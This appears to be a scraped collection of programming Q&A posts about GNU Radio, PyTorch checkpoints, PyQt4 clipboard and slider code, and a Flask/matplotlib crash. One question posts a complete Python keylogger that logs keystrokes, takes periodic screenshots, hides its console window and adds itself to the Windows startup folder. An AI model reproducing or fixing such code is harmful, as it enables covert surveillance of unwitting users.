I am a student and working on GNU Radio.
I have a python code which i want to run in GNU radio companion but i am unable to search for the right block to execute that code...can anyone help me with that??When I execute the same python code(not in GNU), I get the following error:
AttributeError: 'top_block_sptr' object has no attribute 'wxgui_'
the code is as shown:
#!/usr/bin/env python
from gnuradio import blocks
from gnuradio import eng_notation
from gnuradio import gr
from gnuradio import uhd
#from gnuradio import window
from gnuradio.eng_option import eng_option
#from gnuradio.gr import firdes
from gnuradio.wxgui import forms
from gnuradio.wxgui import waterfallsink2
from grc_gnuradio import wxgui as grc_wxgui
from optparse import OptionParser
import wx
class top_block(grc_wxgui.top_block_gui):
def __init__(self):
grc_wxgui.top_block_gui.__init__(self, title="Top Block")
_icon_path = "/usr/share/icons/hicolor/32x32/apps/gnuradio-grc.png"
self.SetIcon(wx.Icon(_icon_path, wx.BITMAP_TYPE_ANY))
##################################################
# Variables
###
###############################################
self.variable_slider_1 = variable_slider_1 = 32
self.variable_slider_0 = variable_slider_0 = 0
self.samp_rate = samp_rate = 21e6
self.gain = gain = variable_slider_1
self.delay_length = delay_length= variable_slider_0
##################################################
# Blocks
##################################################
self.wxgui_waterfallsink2_0_0 = waterfallsink2.waterfall_sink_c(
self.GetWin(),
baseband_freq=0,
dynamic_range=100,
ref_level=0,
ref_scale=2.0,
sample_rate=samp_rate,
fft_size=512,
fft_rate=15,
average=False,
avg_alpha=None,
title="Output Waterfall Plot",
)
self.GridAdd(self.wxgui_waterfallsink2_0_0.win, 0, 10, 10, 10)
self.wxgui_
waterfallsink2_0 = waterfallsink2.waterfall_sink_c(
self.GetWin(),
baseband_freq=0,
dynamic_range=100,
ref_level=0,
ref_scale=2.0,
sample_rate=samp_rate,
fft_size=512,
fft_rate=15,
average=False,
avg_alpha=None,
title="Input Waterfall Plot",
)
self.GridAdd(self.wxgui_waterfallsink2_0.win, 0, 0, 10, 10)
_variable_slider_1_sizer = wx.BoxSizer(wx.VERTICAL)
self._variable_slider_1_text_box = forms.text_box(
parent=self.GetWin(),
sizer=_variable_slider_1_sizer,
value=self.variable_slider_1,
callback=self.set_variable_slider_1,
label="Output Gain",
converter=forms.float_converter(),
proportion=0,
)
self._variable_slider_1_slider = forms.slider(
parent=self.GetWin(),
sizer=_variable_slider_1_sizer,
value=self.variable_slider_1,
callback=self.set_variable_slider_1,
minimum=0,
maximum=32,
num_steps=31,
style=wx.SL_HORIZONTAL,
cast=float,
proportion=1,
)
self.GridAdd(_variable_slider_1_sizer, 12, 10, 1, 9)
_variable_sl
ider_0_sizer = wx.BoxSizer(wx.VERTICAL)
self._variable_slider_0_text_box = forms.text_box(
parent=self.GetWin(),
sizer=_variable_slider_0_sizer,
value=self.variable_slider_0,
callback=self.set_variable_slider_0,
label="Delay Length",
converter=forms.int_converter(),
proportion=0,
)
self._variable_slider_0_slider = forms.slider(
parent=self.GetWin(),
sizer=_variable_slider_0_sizer,
value=self.variable_slider_0,
callback=self.set_variable_slider_0,
minimum=0,
maximum=710000,
num_steps=1000,
style=wx.SL_HORIZONTAL,
cast=int,
proportion=1,
)
self.GridAdd(_variable_slider_0_sizer, 10, 10, 1, 9)
self.uhd_usrp_source_0 = uhd.usrp_source(
device_addr="",
stream_args=uhd.stream_args(
cpu_format="fc32",
channels=range(1),
),
)
self.uhd_usrp_source_0.set_samp_rate(samp_rate)
self.uhd_usrp_source_0.set_center_freq(2.28e9, 0)
self.uhd_usrp_source_0.set_gain(0, 0)
self.uhd_usrp_sink_0 = uhd.usrp_sink(
device_addr="",
stream_args
=uhd.stream_args(
cpu_format="fc32",
channels=range(1),
),
)
self.uhd_usrp_sink_0.set_samp_rate(samp_rate)
self.uhd_usrp_sink_0.set_center_freq(2.28e9, 0)
self.uhd_usrp_sink_0.set_gain(gain, 0)
self.gr_file_source_0_0 = gr.file_source(
gr.sizeof_gr_complex*1,
"/home/ubuntu/radar-rx3.capture", True)
self.gr_file_source_0 = gr.file_source(gr.sizeof_gr_complex*1,
"/home/ubuntu/radar-rx3.capture", True)
self.gr_delay_0_0 = gr.delay(gr.sizeof_gr_complex*1, delay_length)
self.blocks_mult
iply_xx_0 = blocks.multiply_vcc(1)
##################################################
# Connections
##################################################
self.connect((self.uhd_usrp_source_0, 0), (self.wxgui_waterfallsink2_0, 0))
self.connect((self.gr_file_source_0_0, 0), (self.gr_delay_0_0, 0))
self.connect((self.gr_file_source_0, 0), (self.blocks_multiply_xx_0, 0))
self.connect((self.gr_delay_0_0, 0), (self.blocks_multiply_xx_0, 1))
self.connect((self.blocks_multiply_xx_0, 0), (self.uhd_usrp_sink_0, 0))
self.connect((self.blocks_multiply_xx_0, 0), (self.wxgui_waterfallsink2_0_0, 0))
def get_variable_slider_1(self):
return self.variable_slider_1
def set_variable_slider_1(self, variable_slider_1):
self.variable_slider_1 = variable_slider_1
self.set_gain(self.variable_slider_1)
self._variable_slider_1_slider.set_value(self.variable_slider_1)
self._variable_slider_1_text_box.set_value(self.variable_slider_1)
def get_variable_slider_0(self):
return self.variable_slider_0
def set_variable_slider_0(self, variable_slider_0):
self.variable_slider_0 = variable_slider_0
self.set_delay_length(self.variable_slider_0)
self._variable_slider_0_slider.set_value(self.variable_slider_0)
self._variable_slider_0_text_box.set_value(self.variable_slider_0)
def get_samp_rate(self):
return self.samp_rate
def set_samp_rate(self, samp_rate):
self.samp_rate = samp_rate
self.wxgui_waterfallsink2_0.set_sample_rate(self.samp_rate)
self.wxgui_waterfallsink2_0_0.set_sample_rate(self.samp_rate)
self.uhd_usrp_sink_0.set_samp_rate(self.samp_rate)
self.uhd_usrp_source_0.set_samp_rate(self.samp_rate)
def get_gain(self):
return self.gain
def set_gain(self, gain):
self.gain = gain
self.uhd_usrp_sink_0.set_gain(self.gain, 0)
def get_delay_length(self):
return self.delay_length
def set_delay_length(self, delay_length):
self.delay_length = delay_length
self.gr_delay_0_0.set_delay(self.delay_length)
if __name__ == '__main__':
parser = OptionParser(option_class=eng_option,usage="%prog: [options]")
(options, args) = parser.parse_args()
tb = top_block()
tb.Run(True)
There's an erroneous line break in
self.wxgui_
waterfallsink2_0 = waterfallsink2.waterfall_sink_c(...
remove the wrong line breaks, and it should work. If in doubt, re-generate the python file using the GNU Radio Companion. Make sure your editor doesn't add line breaks where he should not.
Related
I wrote a code for yolo implementation with PyTorch in Colab. I can do the training, but I cannot save the model's weights. I keep getting a 'ran out of input' error. Is there any solution?
Code:
"""
Main file for training Yolo model on Pascal VOC dataset
"""
import torch
import torchvision.transforms as transforms
import torch.optim as optim
import torchvision.transforms.functional as FT #resim transformları için
from tqdm import tqdm #progressbar için
from torch.utils.data import DataLoader
from model import Yolov1
from dataset import VOCDataset
from utils import (
non_max_suppression,
mean_average_precision,
intersection_over_union,
cellboxes_to_boxes,
get_bboxes,
plot_image,
save_checkpoint,
load_checkpoint,
)
from loss import YoloLoss
seed = 123
torch.manual_seed(seed) #same datasets loading
# Hyperparameters etc.
LEARNING_RATE = 2e-5
DEVICE = "cuda" if torch.cuda.is_available else "cpu"
BATCH_SIZE = 16
WEIGHT_DECAY = 0 #sadece bir batchte train yapmak için 0 dedik yani regularizasyon yapmıyoruz
EPOCHS = 1000
NUM_WORKERS = 2
PIN_MEMORY = True
LOAD_MODEL = True
LOAD_MODEL_FILE = "/content/drive/MyDrive/YOLO 5 adım/archive/best.pt" #over fit olan modeli aldık
IMG_DIR = "/content/drive/MyDrive/YOLO 5 adım/archive/images"
LABEL_DIR = "/content/drive/MyDrive/YOLO 5 adım/archive/labels"
class Compose(object): #buradaki neden, göndereceğimiz dönüşümümüzün yalnızca resim üzerinde işlemesi çünkü sadece resize yapıyoruz
def __init__(self, transforms):
self.transforms = transforms
def __call__(self, img, bboxes):
for t in self.transforms:
img, bboxes = t(img), bboxes
return img, bboxes
transform = Compose([transforms.Resize((448, 448)), transforms.ToTensor(),]) #resize yapıp tensöre çevirdik
def train_fn(train_loader, model, optimizer, loss_fn): #tüm datasette bir training döngüsü olacak
loop = tqdm(train_loader, leave=True) #progressbar videosunda varmış
mean_loss = []
for batch_idx, (x, y) in enumerate(loop):
x, y = x.to(DEVICE), y.to(DEVICE)
out = model(x)
loss = loss_fn(out, y)
mean_loss.append(loss.item())
optimizer.zero_grad()
loss.backward()
optimizer.step()
# update progress bar progress barda her batchteki lossu göreceğiz
loop.set_postfix(loss=loss.item())
print(f"Mean loss was {sum(mean_loss)/len(mean_loss)}")
def main():
model = Yolov1(split_size=7, num_boxes=2, num_classes=20).to(DEVICE)
optimizer = optim.Adam(
model.parameters(), lr=LEARNING_RATE, weight_decay=WEIGHT_DECAY
)
loss_fn = YoloLoss()
**if LOAD_MODEL:
load_checkpoint(torch.load(LOAD_MODEL_FILE), model, optimizer) ** I got the error from this line
train_dataset = VOCDataset(
"/content/drive/MyDrive/YOLO 5 adım/archive/8examples.csv", #eğer tüm dataseti istiyorsak train.csv yaparız biz burada 100 örnek aldık sadece
transform=transform,
img_dir=IMG_DIR,
label_dir=LABEL_DIR,
)
test_dataset = VOCDataset( #test kısmı
"/content/drive/MyDrive/YOLO 5 adım/archive/test.csv", transform=transform, img_dir=IMG_DIR, label_dir=LABEL_DIR,
)
train_loader = DataLoader(
dataset=train_dataset,
batch_size=BATCH_SIZE,
num_workers=NUM_WORKERS,
pin_memory=PIN_MEMORY,
shuffle=True,
drop_last=False,#8 tanede denerken burayı false yaptık eğer çok az örnekte deniyorsak false fazla örnekte deniyorsak true yapıyoruz. çok az örnek yani tek bir batchte gerçeklesen örnekse false
)
test_loader = DataLoader(
dataset=test_dataset,
batch_size=BATCH_SIZE,
num_workers=NUM_WORKERS,
pin_memory=PIN_MEMORY,
shuffle=True,
drop_last=True,
)
for epoch in range(EPOCHS):
for x, y in train_loader: #BU KISIM GÖRSELLEŞTİRME İÇİN SONUCU BİZE GÖSTERİYOR TEK TEK RESİMLERDE
x = x.to(DEVICE) #Bu kısmı uygularken yukarıda hiperparametreler kısmındaki LOAD_MODAL'ı True yapmamız gerekiyor.
for idx in range(8):
bboxes = cellboxes_to_boxes(model(x))
bboxes = non_max_suppression(bboxes[idx], iou_threshold=0.5, threshold=0.4, box_format="midpoint")
plot_image(x[idx].permute(1,2,0).to("cpu"), bboxes)
import sys
sys.exit()
pred_boxes, target_boxes = get_bboxes( train_loader, model, iou_threshold=0.5, threshold=0.4 )
mean_avg_prec = mean_average_precision(
pred_boxes, target_boxes, iou_threshold=0.5, box_format="midpoint"
)
print(f"Train mAP: {mean_avg_prec}") #her epoch için yazdırdık
if mean_avg_prec > 0.9:
checkpoint = {
"state_dict": model.state_dict(),
"optimizer": optimizer.state_dict(),
}
save_checkpoint(checkpoint, filename=LOAD_MODEL_FILE) #kaydetmek için buu
import time
time.sleep(10)
train_fn(train_loader, model, optimizer, loss_fn)
if __name__ == "__main__":
main()
https://colab.research.google.com/drive/1l6Z86Qk8qu7Oo7fV6YNaWmJRFB9NPjCv?usp=sharing
I got error from this line (in the picture)
#save_checkpoint function from utils
def save_checkpoint(state, filename="my_checkpoint.pth.tar"):
print("=> Saving checkpoint")
torch.save(state, filename)
def load_checkpoint(checkpoint, model, optimizer):
print("=> Loading checkpoint")
model.load_state_dict(checkpoint["state_dict"])
optimizer.load_state_dict(checkpoint["optimizer"])
I see that your code is implementation by Youtuber "Aladdin Persson"
if i see the load_checkpoint , this is it.
def load_checkpoint(checkpoint, model, optimizer):
print("=> Loading checkpoint")
model.load_state_dict(checkpoint["state_dict"])
optimizer.load_state_dict(checkpoint["optimizer"])
When you are training your model for 1st time, you should have LOAD_MODEL = False &
Once the check point is saved by this name "overfit.pth.tar" , then only you can load it..
I have tested the code and it works
def tt(self):
cb=QApplication.clipboard()
data=cb.mimeData()
#if data.hasImage():
#for path in data.urls():
#print path
if data.hasText():
tex =unicode (data.text())
print tex
if tex != "":
r = QtCore.QStringList([])
for ct in tex:
py = slug(ct, style=pypinyin.TONE, errors='ignore')
if py != '':
w = ct + '(' + py + ')'
else:
w = ct
r.append(w)
str = r.join("")
self.ui.textEdit.setText(QtCore.QString(str))
I use python2.7 and pyqt4 to make something like Chinese characters to Pinyin. So when I copy string, it's fine, the job ding very well. but when I copy image, I just want only print its path . but tex still work, slug() will go error. how do I limit it.
You can use QMimeData.hasUrls() and QMimeData.urls(). The latter returns a list of QUrl objects (which are also used for file-paths):
if data.hasUrls() or data.hasImage():
for url in data.urls():
filepath = unicode(url.toLocalFile())
print(filepath)
elif data.hasText():
tex =unicode (data.text())
...
EDIT:
Here is a test script to get clipboard information:
import sys
from PyQt4 import QtCore, QtGui
class Window(QtGui.QWidget):
def __init__(self):
super(Window, self).__init__()
self.button = QtGui.QPushButton('Get Clipboard Info', self)
self.button.clicked.connect(self.handleButton)
self.edit = QtGui.QTextEdit(self)
layout = QtGui.QVBoxLayout(self)
layout.addWidget(self.edit)
layout.addWidget(self.button)
def handleButton(self):
cb = QtGui.QApplication.clipboard()
data = cb.mimeData()
output = []
if data.hasImage():
image = QtGui.QImage(data.imageData())
output.append('Image: size %s' % image.byteCount())
elif data.hasUrls():
output.append('Urls: count %s' % len(data.urls()))
for url in data.urls():
filepath = unicode(url.toLocalFile())
output.append(' %s' % filepath)
elif data.hasText():
output.append('Text: length %s' % len(data.text()))
output.append('')
output.append('Formats: count %s' % len(data.formats()))
for fmt in data.formats():
output.append(' %s' % fmt)
self.edit.setText('\n'.join(output))
if __name__ == '__main__':
app = QtGui.QApplication(sys.argv)
window = Window()
window.setGeometry(600, 50, 300, 400)
window.show()
sys.exit(app.exec_())
I am trying to understand what is happening here. I get a warning that cannot find reference 'PumpMessages' in 'pythoncom.py' but pip says Requirement already satisfied: pyHook in c:\python27\lib\site-packages so I assume it is installed correctly.
Any help would be appreciated. I have searched google for several days to no avail. Code seems to start properly creating log file and screencap dir but no data is collected and it exits with code 1.
This is the code:
import pyHook
import pythoncom
from sys import argv
from datetime import *
import os
import threading
import pyscreenshot
import win32console
import win32gui
import winshell
root_dir = os.path.split(os.path.realpath(argv[0]))[0]
log_file = os.path.join(root_dir, "log_file.txt")
caps_dir = os.path.join(root_dir, "screencaps")
name = "keylog"
buffer = ""
pause_period = 2
last_press = datetime.now()
pause_delta = timedelta(seconds=pause_period)
cap_period = 15
log_semaphore = threading.Semaphore()
def log(message):
if len(message) > 0:
log_semaphore.acquire()
with open(log_file, "a")as f:
f.write("{}:\t{}\n".format(datetime.now(), message))
# print "{}:\t{}".format(datetime.now(), message)
log_semaphore.release()
def keypress(event):
global buffer, last_press
if event.Ascii:
char = chr(event.Ascii)
if char == "~":
log(buffer)
log("---PROGRAM ENDED---")
os._exit(1)
pause = datetime.now() - last_press
if pause >= pause_delta:
log(buffer)
buffer = ""
if event.Ascii == 13:
buffer += "<ENTER>"
elif event.Ascii == 8:
buffer += "<BACKSPACE>"
elif event.Ascii == 9:
buffer += "<TAB>"
else:
buffer += char
last_press = datetime.now()
def screenshot():
if not os.path.exists(caps_dir):
os.makedirs(caps_dir)
filename = os.path.join(caps_dir, "screen_" + datetime.now().strftime("%Y_%m_%d_%H_%M_%S") + ".png")
pyscreenshot.grab_to_file(filename)
log("---Screenshot taken: saved to {}---".format(filename))
threading.Timer(cap_period, screenshot).start()
def startup():
if name + ".lnk" not in os.listdir(winshell.startup()):
log("---Adding shortcut to startup folder---")
link_loc = os.path.join(winshell.startup(), name + ".lnk")
sc = winshell.shortcut()
sc.path = os.path.realpath(argv[0])
sc.write(link_loc)
window = win32console.GetConsoleWindow()
win32gui.ShowWindow(window, 0)
hm = pyHook.HookManager()
hm.KeyDown = keypress
hm.HookKeyboard()
keylog = threading.Thread(target=pythoncom.PumpMessages())
log("---PROGRAM STARTED---")
startup()
screenshot()
keylog.start()
Thanks for your time:
I created a flask server that takes in variables from a form post and outputs a pie or bar graph. While debugging, I noticed this error:
Error in atexit._run_exitfuncs:
Traceback (most recent call last):
File "C:\Python27\lib\atexit.py", line 24, in _run_exitfuncs
func(*targs, **kargs)
File "C:\Python27\lib\site-packages\matplotlib\_pylab_helpers.py", line 92, in destroy_all
manager.destroy()
File "C:\Python27\lib\site-packages\matplotlib\backends\backend_tkagg.py", line 618, in destroy
self.canvas._tkcanvas.after_cancel(self.canvas._idle_callback)
File "C:\Python27\lib\lib-tk\Tkinter.py", line 616, in after_cancel
self.tk.call('after', 'cancel', id)
TclError: out of stack space (infinite loop?)
Error in sys.exitfunc:
Traceback (most recent call last):
File "C:\Python27\lib\atexit.py", line 24, in _run_exitfuncs
func(*targs, **kargs)
File "C:\Python27\lib\site-packages\matplotlib\_pylab_helpers.py", line 92, in destroy_all
manager.destroy()
File "C:\Python27\lib\site-packages\matplotlib\backends\backend_tkagg.py", line 618, in destroy
self.canvas._tkcanvas.after_cancel(self.canvas._idle_callback)
File "C:\Python27\lib\lib-tk\Tkinter.py", line 616, in after_cancel
self.tk.call('after', 'cancel', id)
_tkinter.TclError: out of stack space (infinite loop?)
This seems to cause the server to reload (successfully for what it's worth) which is a problem. No clue what's going on here, other than tkinter being upset. And, no luck with my google fu.
flask server (w debug settings. Mapped vars are due to a project req.):
# Flask App that functions as a graph end point replacement "DAC-780"
# Standard Library
import os
import uuid
# Third Party
from flask import Flask, request
# Local
from pie import make_pie
from bar import make_bar
app_root = os.path.dirname(os.path.abspath(__file__))
images = os.path.join(app_root, 'static/images')
app = Flask(__name__, static_folder="static")
app._static_folder = os.path.join(app_root, 'static')
#app.route('/charts/<path>', methods=['POST'])
def graph(path):
g_data_list = []
file_name = str(uuid.uuid4())
# if bar graph
if path == "chart4.asp":
# grab vars
g_title = str(request.form['Title'])
x_title = str(request.form['CatTitle'])
y_title = str(request.form['ValTitle'])
ser1 = str(request.form['Ser1'])
ser2 = str(request.form['Ser2'])
cat1 = str(request.form['Cat1'])
cat2 = str(request.form['Cat2'])
cat3 = str(request.form['Cat3'])
cat4 = str(request.form['Cat4'])
cat5 = str(request.form['Cat5'])
cat6 = str(request.form['Cat6'])
cat7 = str(request.form['Cat7'])
cat8 = str(request.form['Cat8'])
cat9 = str(request.form['Cat9'])
cat10 = str(request.form['Cat10'])
cat11 = str(request.form['Cat11'])
cat12 = str(request.form['Cat12'])
cat13 = str(request.form['Cat13'])
s1d1 = int(request.form['S1D1'])
s1d2 = int(request.form['S1D2'])
s1d3 = int(request.form['S1D3'])
s1d4 = int(request.form['S1D4'])
s1d5 = int(request.form['S1D5'])
s1d6 = int(request.form['S1D6'])
s1d7 = int(request.form['S1D7'])
s1d8 = int(request.form['S1D8'])
s1d9 = int(request.form['S1D9'])
s1d10 = int(request.form['S1D10'])
s1d11 = int(request.form['S1D11'])
s1d12 = int(request.form['S1D12'])
s1d13 = int(request.form['S1D13'])
s2d1 = int(request.form['S2D1'])
s2d2 = int(request.form['S2D2'])
s2d3 = int(request.form['S2D3'])
s2d4 = int(request.form['S2D4'])
s2d5 = int(request.form['S2D5'])
s2d6 = int(request.form['S2D6'])
s2d7 = int(request.form['S2D7'])
s2d8 = int(request.form['S2D8'])
s2d9 = int(request.form['S2D9'])
s2d10 = int(request.form['S2D10'])
s2d11 = int(request.form['S2D11'])
s2d12 = int(request.form['S2D12'])
s2d13 = int(request.form['S2D13'])
# vars i mapped but weren't needed for my graph lib
g_type = str(request.form['Type'])
g_cats = str(request.form['Cats'])
g_series = str(request.form['Series'])
cat_title = str(request.form['CatTitle'])
# add data to g_data_list so we can process it
g_data_list.append((ser1, [s1d1, s1d2, s1d3, s1d4, s1d5, s1d6, s1d7, s1d8,
s1d9, s1d10, s1d11, s1d12, s1d13]))
g_data_list.append((ser2, [s2d1, s2d2, s2d3, s2d4, s2d5, s2d6, s2d7, s2d8,
s2d9, s2d10, s2d11, s2d12, s2d13]))
x_labels = [cat1, cat2, cat3, cat4, cat5, cat6, cat7, cat8, cat9, cat10,
cat11, cat12, cat13]
# make a graph to return in html
graph = make_bar(g_title, y_title, x_labels, g_data_list, file_name, cat_title, x_title)
else:
# all others are probably pie graphs
g_title = str(request.form['Title'])
cat1 = str(request.form['Cat1'])
cat2 = str(request.form['Cat2'])
cat3 = str(request.form['Cat3'])
cat4 = str(request.form['Cat4'])
s1d1 = int(request.form['S1D1'])
s1d2 = int(request.form['S1D2'])
s1d3 = int(request.form['S1D3'])
s1d4 = int(request.form['S1D4'])
# vars that aren't needed for replications of the final product, but
# were part of the old code
g_type = str(request.form['Type'])
g_cats = str(request.form['Cats'])
g_series = str(request.form['Series'])
cat_title = str(request.form['CatTitle'])
val_title = str(request.form['ValTitle'])
s1 = str(request.form['Ser1'])
s2 = str(request.form['Ser2'])
# add data
g_data_list.append([cat1, s1d1])
g_data_list.append([cat2, s1d2])
g_data_list.append([cat3, s1d3])
g_data_list.append([cat4, s1d4])
# make graph to send back via html
graph = make_pie(g_title, g_data_list, file_name)
# make a web page with graph and return it
html = """
<html>
<head>
<title>%s</title>
</head>
<body>
<img src="/static/images/%s.png" alt="An Error Occured"/>
</body>
</html>
""" % (g_title, str(file_name))
return html
if __name__ == '__main__':
app.run(port=3456, host="0.0.0.0", debug=True)
bar.py:
# creates a bar chart based on input using matplotlib
import os
import numpy as np
import matplotlib.pyplot as plt
from pylab import rcParams
rcParams['figure.figsize'] = 6.55, 3.8
app_root = os.path.dirname(os.path.abspath(__file__))
images = os.path.join(app_root, 'static/images')
def make_bar(g_title, y_title, x_labels, data_series, file_name, cat_title,
x_title):
n_groups = 13
bar_width = 0.35
opacity = 0.4
fig, ax = plt.subplots()
index = np.arange(n_groups)
error_config = {'ecolor': '0.3'}
plt.bar(index, tuple(data_series[0][1]), bar_width,
alpha=opacity,
color='b',
error_kw=error_config,
label='{}'.format(data_series[0][0]))
plt.bar(index + bar_width, tuple(data_series[1][1]), bar_width,
alpha=opacity,
color='r',
error_kw=error_config,
label='{}'.format(data_series[1][0]))
box = ax.get_position()
ax.set_position([box.x0, box.y0, box.width * 0.8, box.height])
plt.xlabel(x_title, fontsize=10)
plt.ylabel(y_title, fontsize=10)
plt.title(g_title, fontsize=11)
plt.xticks(index + bar_width, tuple(x_labels), fontsize=8)
plt.yticks(fontsize=8)
plt.axis('tight')
lgd = plt.legend(fontsize=8, bbox_to_anchor=(1.15, 0.5))
plt.tight_layout()
plt.draw()
plt.savefig('{}/{}.png'.format(images, file_name),
dpi=100, format='png', bbox_extra_artists=(lgd,),
bbox_inches='tight')
return
pie.py:
# creates a pie chart w/ matplotlib
import os
import matplotlib.pyplot as plt
from pylab import rcParams
app_root = os.path.dirname(os.path.abspath(__file__))
images = os.path.join(app_root, 'static/images')
def make_pie(title, g_data_list, file_name):
rcParams['figure.figsize'] = 5.75, 3
labels = [entry[0] for entry in g_data_list]
sizes = [entry[1] for entry in g_data_list]
ax = plt.subplot(111)
box = ax.get_position()
ax.set_position([box.x0, box.y0, box.width * 0.7, box.height])
patches, texts = ax.pie(sizes, startangle=90)
ax.legend(patches, labels, loc='center left',
bbox_to_anchor=(.9, 0.5), fontsize=8)
plt.axis('equal')
plt.suptitle(g_title, fontsize=12)
plt.draw()
plt.savefig('{}/{}.png'.format(images, file_name), dpi=100, format='png')
return
I noticed that the function that graphed everything, when run separately, would stay running after I closed the plot window. Adding plt.clf() fixed that problem, and appears to be the solution to mine relating to Flask as well.
Had same problem with seaborn
import matplotlib
matplotlib.use('Agg')
helps me.
details: https://matplotlib.org/faq/usage_faq.html#what-is-a-backend
I am getting an error when I try to run this code:
# -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'scaler_gui_3.ui'
#
# Created: Thu May 14 13:05:28 2015
# by: PyQt4 UI code generator 4.11.3
#
# WARNING! All changes made in this file will be lost!
from PyQt4 import QtCore, QtGui
try:
_fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
def _fromUtf8(s):
return s
try:
_encoding = QtGui.QApplication.UnicodeUTF8
def _translate(context, text, disambig):
return QtGui.QApplication.translate(context, text, disambig, _encoding)
except AttributeError:
def _translate(context, text, disambig):
return QtGui.QApplication.translate(context, text, disambig)
class Ui_Form(object):
def setupUi(self, Form):
Form.setObjectName(_fromUtf8("Form"))
Form.resize(270, 219)
self.gridLayout_2 = QtGui.QGridLayout(Form)
self.gridLayout_2.setObjectName(_fromUtf8("gridLayout_2"))
self.horizontalSliderFrames = QtGui.QSlider(Form)
self.horizontalSliderFrames.setOrientation(QtCore.Qt.Horizontal)
self.horizontalSliderFrames.setObjectName(_fromUtf8("horizontalSliderFrames"))
self.gridLayout_2.addWidget(self.horizontalSliderFrames, 1, 0, 1, 1)
self.gridLayout = QtGui.QGridLayout()
self.gridLayout.setObjectName(_fromUtf8("gridLayout"))
self.verticalScrollBarIW = QtGui.QScrollBar(Form)
self.verticalScrollBarIW.setOrientation(QtCore.Qt.Vertical)
self.verticalScrollBarIW.setObjectName(_fromUtf8("verticalScrollBarIW"))
self.gridLayout.addWidget(self.verticalScrollBarIW, 0, 2, 1, 1)
self.verticalLayout_2 = QtGui.QVBoxLayout()
self.verticalLayout_2.setObjectName(_fromUtf8("verticalLayout_2"))
self.labelMain = QtGui.QLabel(Form)
self.labelMain.setObjectName(_fromUtf8("labelMain"))
self.verticalLayout_2.addWidget(self.labelMain)
self.horizontalScrollBarIW = QtGui.QScrollBar(Form)
self.horizontalScrollBarIW.setOrientation(QtCore.Qt.Horizontal)
self.horizontalScrollBarIW.setObjectName(_fromUtf8("horizontalScrollBarIW"))
self.verticalLayout_2.addWidget(self.horizontalScrollBarIW)
self.gridLayout.addLayout(self.verticalLayout_2, 0, 0, 1, 1)
spacerItem = QtGui.QSpacerItem(40, 20, QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Minimum)
self.gridLayout.addItem(spacerItem, 0, 1, 1, 1)
self.gridLayout_2.addLayout(self.gridLayout, 0, 0, 1, 1)
self.horizontalLayout_2 = QtGui.QHBoxLayout()
self.horizontalLayout_2.setObjectName(_fromUtf8("horizontalLayout_2"))
self.gridLayout_2.addLayout(self.horizontalLayout_2, 6, 1, 1, 1)
self.verticalLayout = QtGui.QVBoxLayout()
self.verticalLayout.setObjectName(_fromUtf8("verticalLayout"))
self.horizontalLayout_3 = QtGui.QHBoxLayout()
self.horizontalLayout_3.setObjectName(_fromUtf8("horizontalLayout_3"))
self.labelSmallIW = QtGui.QLabel(Form)
self.labelSmallIW.setObjectName(_fromUtf8("labelSmallIW"))
self.horizontalLayout_3.addWidget(self.labelSmallIW)
self.labelBigIW = QtGui.QLabel(Form)
self.labelBigIW.setObjectName(_fromUtf8("labelBigIW"))
self.horizontalLayout_3.addWidget(self.labelBigIW)
self.pushButton = QtGui.QPushButton(Form)
self.pushButton.setObjectName(_fromUtf8("pushButton"))
self.horizontalLayout_3.addWidget(self.pushButton)
self.verticalLayout.addLayout(self.horizontalLayout_3)
self.gridLayout_2.addLayout(self.verticalLayout, 4, 0, 1, 1)
self.horizontalLayout = QtGui.QHBoxLayout()
self.horizontalLayout.setObjectName(_fromUtf8("horizontalLayout"))
self.toolButtonLoad = QtGui.QToolButton(Form)
self.toolButtonLoad.setObjectName(_fromUtf8("toolButtonLoad"))
self.horizontalLayout.addWidget(self.toolButtonLoad)
self.prevButton = QtGui.QPushButton(Form)
self.prevButton.setObjectName(_fromUtf8("prevButton"))
self.horizontalLayout.addWidget(self.prevButton)
self.nextButton = QtGui.QPushButton(Form)
self.nextButton.setObjectName(_fromUtf8("nextButton"))
self.horizontalLayout.addWidget(self.nextButton)
self.gridLayout_2.addLayout(self.horizontalLayout, 2, 0, 1, 1)
self.checkBox = QtGui.QCheckBox(Form)
self.checkBox.setObjectName(_fromUtf8("checkBox"))
self.gridLayout_2.addWidget(self.checkBox, 5, 0, 1, 1)
self.retranslateUi(Form)
QtCore.QObject.connect(self.prevButton, QtCore.SIGNAL(_fromUtf8("clicked()")), self.horizontalSliderFrames.subtractStep)
QtCore.QObject.connect(self.nextButton, QtCore.SIGNAL(_fromUtf8("clicked()")), self.horizontalSliderFrames.addStep)
QtCore.QMetaObject.connectSlotsByName(Form)
def retranslateUi(self, Form):
Form.setWindowTitle(_translate("Form", "Form", None))
self.labelMain.setText(_translate("Form", "TextLabel", None))
self.labelSmallIW.setText(_translate("Form", "TextLabel", None))
self.labelBigIW.setText(_translate("Form", "TextLabel", None))
self.pushButton.setText(_translate("Form", "PushButton", None))
self.toolButtonLoad.setText(_translate("Form", "...", None))
self.prevButton.setText(_translate("Form", "<", None))
self.nextButton.setText(_translate("Form", ">", None))
self.checkBox.setText(_translate("Form", "CheckBox", None))
if __name__ == "__main__":
import sys
app = QtGui.QApplication(sys.argv)
app.setStyle('cleanlooks')
Form = QtGui.QWidget()
ui = Ui_Form()
ui.setupUi(Form)
Form.show()
sys.exit(app.exec_())
It seems like similar error happen to other people due to some "class related problems" which I have no idea about. I do not understand why it seems to work fine when I "run" in from Geany text editor, but not when I run it from terminal using python my_gui.py I get this error :
Traceback (most recent call last):
File "gui_template.ui.py", line 136, in <module>
ui = Ui_Form()
File "gui_template.ui.py", line 39, in __init__
self.setupUi(self)
File "gui_template.ui.py", line 89, in setupUi
QtCore.QObject.connect(self.prevButton, QtCore.SIGNAL(_fromUtf8("clicked()")), self.horizontalSliderFrames.subtractStep)
AttributeError: 'QSlider' object has no attribute 'subtractStep'
I also tried creating a seperate .py file in a similar fashion to how this person does it:
https://youtu.be/FcX2FsPlVeI?t=10m25s
However, I still get the same error... Any ideas?
The addStep and subtractStep slots are deprecated members of QSlider. They are only there to provide backwards compatibility with Qt3.
It seems you must be trying to run the example script using builds of Qt4/PyQt4 that do not include such deprecated APIs.
The documentation suggests using the setValue slot instead. But that requires passing an appropriate increment/decrement value, so it's not really a drop-in replacement (especially if you're connecting the signals via Qt Designer).
If you wanted to fix the example, you'd have to replace the two signal/slot connections with something like:
def setSlider(delta):
self.horizontalSliderFrames.setValue(
self.horizontalSliderFrames.value() +
